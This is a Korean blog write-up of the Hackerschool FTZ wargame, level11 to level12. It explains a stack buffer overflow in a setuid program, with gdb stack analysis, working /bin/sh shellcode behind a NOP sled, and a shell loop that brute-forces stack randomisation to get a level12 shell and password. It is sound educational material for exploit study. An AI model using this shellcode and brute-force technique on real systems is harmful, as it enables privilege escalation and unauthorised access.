본문 바로가기

System Hacking/해커스쿨 FTZ

해커스쿨 FTZ ( level11 -> level12 ) by ORANG

FTZ_level11

 

[level11@ftz level11]$ bash2

[level11@ftz level11]$ ls

attackme  hint  public_html  tmp

[level11@ftz level11]$ cat hint

 

#include <stdio.h>

#include <stdlib.h>

 

int main( int argc, char *argv[] )

{

char str[256];

 

  setreuid( 3092, 3092 );

strcpy( str, argv[1] );

printf( str );

}

 

bash에서는 셸코드중 /xff 에서 문제가 생기므로 bash2로 시작하겠습니다. 

버퍼 오버 플로우 문제네요

먼저 메모리 구조를 그려보겠습니다

 

 [level11@ftz level11]$ cp attackme tmp/attackit

[level11@ftz level11]$ cd tmp

[level11@ftz tmp]$ gdb ./attackit

GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)

Copyright 2003 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux-gnu"...

(gdb) disas main

Dump of assembler code for function main:

0x08048470 <main+0>: push   %ebp

0x08048471 <main+1>: mov    %esp,%ebp

0x08048473 <main+3>: sub    $0x108,%esp

0x08048479 <main+9>: sub    $0x8,%esp

0x0804847c <main+12>: push   $0xc14

0x08048481 <main+17>: push   $0xc14

0x08048486 <main+22>: call   0x804834c <setreuid>

…생략…

0x08048497 <main+39>: pushl  (%eax)

0x08048499 <main+41>: lea    0xfffffef8(%ebp),%eax

0x0804849f <main+47>: push   %eax

0x080484a0 <main+48>: call   0x804835c <strcpy>

0x080484a5 <main+53>: add    $0x10,%esp

…생략…

 

main+3 에서 264바이트의 메모리를 확보하는걸 볼 수 있습니다.

( main+9 부분의 메모리 확보는 setreuid 함수를 호출하기 위함입니다. )

 

str [256] + dummy [8] 이 되겠네요

 

 

RET [4]

SFP [4]

dummy [8]

str [256]

 

 

그렇다면 프로그램 실행시 인자값으로

 ‘ “셸코드+nop” 264바이트 + “SFP 채울 쓰레기값” 4바이트 + “RET 채울 셸코드 주소값(str의 주소값)” 4바이트 ‘를 전달하면 되겠네요ㅎㅎ

셸코드 작성 방법은 예전에 포스팅한 글이 있으니 생략하겠습니다.

nop은.. no operation을 의미하는 어셈블리어 명령어 입니다 ‘\x90’으로 표현되죠

nop을 만날경우, 아무 작동도 하지않고 다음으로 넘어가기 때문에

연속적으로 nop을 배열하는 ‘nop 슬라이드’를 이용해 메모리 주소값의 오차를 줄일 수 있습니다.

 (gdb) b * main+53

Breakpoint 1 at 0x80484a5

(gdb) r `perl -e 'print "A"x268,"BBBB"'`

The program being debugged has been started already.

Start it from the beginning? (y or n) y

 

Starting program: /home/level11/tmp/attackme `perl -e 'print "A"x268,"BBBB"'`

 

Breakpoint 1, 0x080484a5 in main ()

(gdb) x/100x $esp

0xbfffdac0: 0xbfffdad0 0xbffffb35 0xbfffdaf0 0x00000001

0xbfffdad0: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffdae0: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffdaf0: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffdb00: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffdb10: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffdb20: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffdb30: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffdb40: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffdb50: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffdb60: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffdb70: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffdb80: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffdb90: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffdba0: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffdbb0: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffdbc0: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffdbd0: 0x41414141 0x41414141 0x41414141 0x42424242

0xbfffdbe0: 0x00000000 0xbfffdc24 0xbfffdc30 0x4001582c

0xbfffdbf0: 0x00000002 0x08048370 0x00000000 0x08048391

0xbfffdc00: 0x08048470 0x00000002 0xbfffdc24 0x080482e4

 

셸코드가 위치한 주소값을 찾아내기 위해

argv[1]이 str에 복사되는 strcpy 함수가 실행된 직후(main+53)에 브레이크포인트를 걸었습니다.

str의 시작주소는 0xbffffdad0

SFP 주소는 0xbfffdbd8

RET 주소는 0xbfffdbdc  가 되겠네요

 

하지만 공격을 시도해보면..

 [level11@ftz tmp]$ ./attackit `perl -e 'print "\x90"x200, "\x31\xc0\xb0\x31\xcd\x80\x89\xc2\x89\xc1\x89\xc3\x31\xc0\xb0\xa4\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80", "\x90"x25, "\xe0\xda\xff\xbf"'`

세그멘테이션 오류 

 

 

공격이 먹히지 않는것을 확인할 수 있습니다.

바로 ‘랜덤스택’ 이 적용되었기 때문인데요, 

간단히 말하면 프로그램 실행시 마다 스택의 주소가 변하는 것입니다.

다시한번 gdb로 확인해보면

 

 (gdb) b * main+53

Breakpoint 1 at 0x80484a5

(gdb) r `perl -e 'print "A"x268,"BBBB"'`

Starting program: /home/level11/tmp/attackit `perl -e 'print "A"x268,"BBBB"'`

 

Breakpoint 1, 0x080484a5 in main ()

(gdb) x/100x $esp

0xbfffe2b0: 0xbfffe2c0 0xbffffb27 0xbfffe2e0 0x00000001

0xbfffe2c0: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffe2d0: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffe2e0: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffe2f0: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffe300: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffe310: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffe320: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffe330: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffe340: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffe350: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffe360: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffe370: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffe380: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffe390: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffe3a0: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffe3b0: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffe3c0: 0x41414141 0x41414141 0x41414141 0x42424242

0xbfffe3d0: 0x00000000 0xbfffe414 0xbfffe420 0x4001582c

0xbfffe3e0: 0x00000002 0x08048370 0x00000000 0x08048391

 

주소가 바뀐 것을 확인할 수 있습니다.

랜덤스택을을 우회하기위해 에그셸을 보통 많이 사용하는데요

공부가 목적이므로 에그셸은 사용하지 않도록 하겠습니다.

 

랜덤스택을 우회하는 방법으로 많이 헤맸는데..

브루트 포스를 통해 랜덤스택을 우회하는 방법과,

메모리 주소가 일정횟수마다 다시 나타남을 이용해 단순 반복하는 방법이 있더군요

 

단순 반복을 통해 간단히 풀어보겠습니다ㅎㅎ

 

 [level11@ftz level11]$ while [ 1 ]; do ./attackme `perl -e 'print "\x90"x200, "\x31\xc0\xb0\x31\xcd\x80\x89\xc2\x89\xc1\x89\xc3\x31\xc0\xb0\xa4\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80", "\x90"x25, "\xe0\xda\xff\xbf"'` ; done

잘못된 명령어

세그멘테이션 오류

세그멘테이션 오류

세그멘테이션 오류

세그멘테이션 오류

잘못된 명령어

sh-2.05b$ id

uid=3092(level12) gid=3091(level11) groups=3091(level11)

sh-2.05b$ my-pass

TERM environment variable not set.

Level12 Password is "it is like this".

 

 

스크립트를 통한 반복으로 level12의 셸을 획득했습니다..!

 

level11의 문제에는 포맷스트링 취약점도 포함되어 있는데요

포맷 스트링 공격은 난이도가 있는 관계로 level20과 함께 다루겠습니다ㅎㅎ

포스팅한 ‘해커스쿨 FTZ( level20 -> clear ) + 포맷스트링버그의 이해 by ORANG’을 읽어주세요!!

포맷스트링버그는 상당히 복잡하고 어렵기때문에 처음에 이해하기 어려울 수 있습니다..

잘 설명했다고는 못하겠지만.. 동작원리를 열심히 설명해놨으니 꼭 읽어봐주세요!!